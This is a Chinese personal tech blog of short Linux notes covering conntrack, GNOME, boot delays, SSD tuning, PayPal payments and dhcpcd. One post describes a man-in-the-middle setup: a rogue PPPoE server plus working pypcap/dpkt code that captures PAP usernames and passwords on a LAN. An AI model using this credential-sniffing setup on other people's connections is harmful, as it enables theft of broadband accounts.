通过nf_conntrack显示网络活动

由于QOS需要,需要统计寝室各台设备的并发连接数,由于是路由器上统计,故netstat无效

印象中/proc里好像有一个地方记载了的,最后在IRC上问到了。在/proc/net/nf_conntrack

做一下记录。

Gnome关机键卡半天

环境

gnome3.22.2,Debian9

问题

升到Debian9,关机时点击Gnome图形界面下的关机键,会卡死一阵子,然后才弹出提示询问是关机还是待机还是取消。/var/log/syslog如下

1
2
3
4
5
6
7
8
9
10
11
gnome-session[1504]: gnome-session-binary[1504]: GLib-GObject-CRITICAL: g_object_unref: assertion 'G_IS_OBJECT (object)' failed
gnome-session-binary[1504]: GLib-GObject-CRITICAL: g_object_unref: assertion 'G_IS_OBJECT (object)' failed
gnome-session[1504]: gnome-session-binary[1504]: GLib-GObject-CRITICAL: g_object_unref: assertion 'G_IS_OBJECT (object)' failed
gnome-session[1504]: gnome-session-binary[1504]: GLib-GObject-CRITICAL: g_object_unref: assertion 'G_IS_OBJECT (object)' failed
gnome-session[1504]: gnome-session-binary[1504]: GLib-GObject-CRITICAL: g_object_unref: assertion 'G_IS_OBJECT (object)' failed
gnome-session-binary[1504]: GLib-GObject-CRITICAL: g_object_unref: assertion 'G_IS_OBJECT (object)' failed
gnome-session[1504]: gnome-session-binary[1504]: GLib-GObject-CRITICAL: g_object_unref: assertion 'G_IS_OBJECT (object)' failed
gnome-session-binary[1504]: GLib-GObject-CRITICAL: g_object_unref: assertion 'G_IS_OBJECT (object)' failed
gnome-session-binary[1504]: GLib-GObject-CRITICAL: g_object_unref: assertion 'G_IS_OBJECT (object)' failed
gnome-session-binary[1504]: GLib-GObject-CRITICAL: g_object_unref: assertion 'G_IS_OBJECT (object)' failed
gnome-shell[1618]: JS LOG: Ignored exception from dbus method: Gio.IOErrorEnum: Timeout was reached

分析

上网查得是Gnome3.16版本或以上,外加插件Caffeine导致,暂时好像无解,关掉该插件后则没有该问题。

相关链接

Caffeine causes gnome-session-quit time out in GNOME 3.20 · Issue #67 · eonpatapon/gnome-shell-extension-caffeine · GitHub

gave-up-waiting-for-suspend-resume-device

环境

发行版Debian9,内核4.9.0-3-amd64,initramfs-tools版本0.130

问题

今天忍不住尝鲜,把Debian8升级到9,重启之后第一个问题就是,进入Grub2后,屏幕只显示一个光标在闪,卡了好一会,弹出提示

1
Gave up waiting for suspend/resume device.

然后才开始继续运行。

谷歌查到原因是,由于我关了swap分区,开机的时候swapon尝试使用启动swap分区,找了半天,然后才提示失败。

Read More

使用pypcap和dpkt抓取pppoe拨号帐号密码

学校电信宽带接入服务器更新,旧版本帐号算法(openkeeper)用不了了,新版网上还找不到算法,故决定利用中间人攻击,在局域网搭建pppoe接入服务器,然后利用pypcap抓取数据包,dpkt解析,抓到帐号密码后再加以利用。

PPPoE服务器搭建

我系统是Debian,直接输入命令安装

1
sudo apt-get install pppoe

新建配置文件/etc/ppp/pppoe-server-options

1
2
3
4
5
6
7
8
9
10
require-pap
login
lcp-echo-interval 10
lcp-echo-failure 2
ms-dns 8.8.8.8
ms-dns 8.8.4.4
netmask 255.255.255.0
defaultroute
noipdefault
usepeerdns

然后启动服务器

1
sudo pppoe-server -I wlan0

该操作将会制定PPPoE服务器在wlan0网卡上监听拨号请求。由于我目的只是获取帐号密码,所以其他配置不是必要的。

安装抓包解包所需库

pypcap库需要libpcap-dev,另外,在python3下用不了,导入失败

安装libpcap-dev

1
sudo apt-get install libpcap0.8-dev

安装pypcap和dpkt

1
2
sudo pip install pypcap
sudo pip install dpkt

代码

最后放上代码,调用get_config()函数,传入监听网卡,最后会返回一个字典,要拿来干嘛,就看人了,我是计划是跟openkeeper一样,迅速修改PPPoE拨号配置并调用拨号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf8 -*-
import pcap,dpkt
def get_pap_information(data):
# 对应包位置
pap_type=data[0]
pap_username_len=bytearray(list(data[4]))[0]
pap_username=data[5:5+pap_username_len]
# pap_password_len=bytearray(list(data[5+pap_username_len]))[0]
pap_password = data[6 + pap_username_len:]
return dict(type=pap_type,username=pap_username,password=pap_password)
def get_config(card="eth0"):
pap=None
sniffer=pcap.pcap(name=card,immediate=True)
for ts,pkt in sniffer:
eth=dpkt.ethernet.Ethernet(pkt)
if isinstance(eth.data,dpkt.pppoe.PPPoE): #判断是否为PPPoE数据包
pppoe=eth.data #拆包
if isinstance(pppoe.data,dpkt.pppoe.PPP): #判断是否为PPP包
ppp=pppoe.data #拆包
if ppp.pack_hdr()==b"\xc0\x23": #PPP PAP包的头
if ppp.data[0]==b"\x01": #类别为Authenticate-Request
pap=get_pap_information(ppp.data)
break
return pap

话说这pypcap和dpkt的官方文档可真简陋,使用方法几乎都是从别人的文章那里参考过来的。

Linux下固态硬盘优化

前段时间随手查查资料,发现在固态硬盘下跑Linux系统需要优化,主要是减少写入损耗和读写优化。

环境:Debian 8 amd64

swap分区

得看内存够不够,以及是否需要休眠了

内存充足

如果你内存够用,而且不需要用休眠这个功能,可以直接把swap分区去掉,在/etc/fstab/中,找到形如

1
UUID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx none swap sw 0 0

的一行,注释掉就可以了。

内存容易满

据说(反正我没遇到过)如果不开swap而内存又满了的话,会死机。这样的话,只能降低swap分区使用率了(当然如果你电脑上还有个机械硬盘的话,直接在机械硬盘上划swap分区就好了)

编辑文件/etc/sysctl.conf,在最后加入一行

1
vm.swappiness=10

该参数是设置swap使用率的,数字越大,则越积极地使用swap分区,Debian Wiki上让设的1,我保守设成10。另外,资料建议新建文件/etc/sysctl.d/local.conf,把上面的参数写到这个文件里。

文件读取时间

我分的ext4文件系统,每次访问文件都会有时间记录,产生一次硬盘写入。编辑文件/etc/fstab,在固态硬盘的分区配置的第四个参数加入relatime,如

1
UUID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx / ext4 relatime,errors=remount-ro 0 1

由于有些软件(据资料说)在关闭该功能的情况下会出问题,所以使用参数”relatime”而不是”noatime”。

将内存部分空间挂载到/tmp

/tmp目录用于存放临时文件,所以会经常被写入,可以利用tmpfs,使用内存作为存储空间,一来优化速度,二来减少对固态硬盘的写入。我所使用的发行版是Debian,开启很简单,编辑文件/etc/default/tmpfs,找到#RAMTMP=no,修改为RAMTMP=yes

然后好像还要将一个服务设为开机启动(好像Debian7不用)

1
sudo systemctl enable tmp.mount

重启一下就好了

挖坑

还有些优化没整,先记着,之后也许会补

参考资料

Debian Wiki: SSDOptimization

Solid State Drives (简体中文) - ArchWiki

Anything-sync-daemon (简体中文) - ArchWiki

Paypal的银联借记卡支付方式

银联卡在Paypal中成功支付

Paypal支付

没有信用卡,以前都是用的全球付的虚拟信用卡进行付款,充值有手续费,而且还要去易票联淘宝充值,不然就得实名认证,最近打算给虚拟信用卡充值时发现其淘宝店消失,也就是想要充值就必须得实名认证,不爽,故尝试更换支付方式。

建行网银+Paypal(过时)

两年前买bandwagonhost时尝试用银联付款,当时手头上支持的卡只有建行,但支付的最后一步是在网银下支付,没开通,遂放弃,拜托朋友帮忙支付。后来找到的全球付替代,就没管了。

现在既然全球付不行了,那就用回这种方法吧。于是我特意去银行办了个网银。

好的,下单,打开paypal支付,更换支付方式,输入卡号,银行预留手机号,验证码,然后,支付成功。什么?我E盾都买了你这就付款完成了?

为了排除是开了网银的原因,我尝试使用另一张没有开通网银的银行卡付款买了点东西,也支付成功了。

在线支付+Paypal

现在在Paypal上使用银联借记卡付款,只需要输入银行卡号,银行预留手机号,接受短信验证码后确认开通在线支付,然后就可以使用该卡进行付款了。跟银联的快捷支付相似。

嗯,深刻感受到了,时代在进步…

利用dhcpcd设置静态策略路由

dhcpcd有点多管闲事,不管interfaces里有没有inet manual,它总要进来搅和一番。
尽管dhcpcd.conf很复杂,但远远不够,比如静态路由,策略路由什么的。翻代码发现它会在每次配置完成后执行目录/lib/dhcpcd/dhcpcd-hooks下的脚本,故我写了个文件(40-staticroute)在这里面,把静态路由什么的全写进去了。说实话,这地方比/etc/network/interfaces难找多了。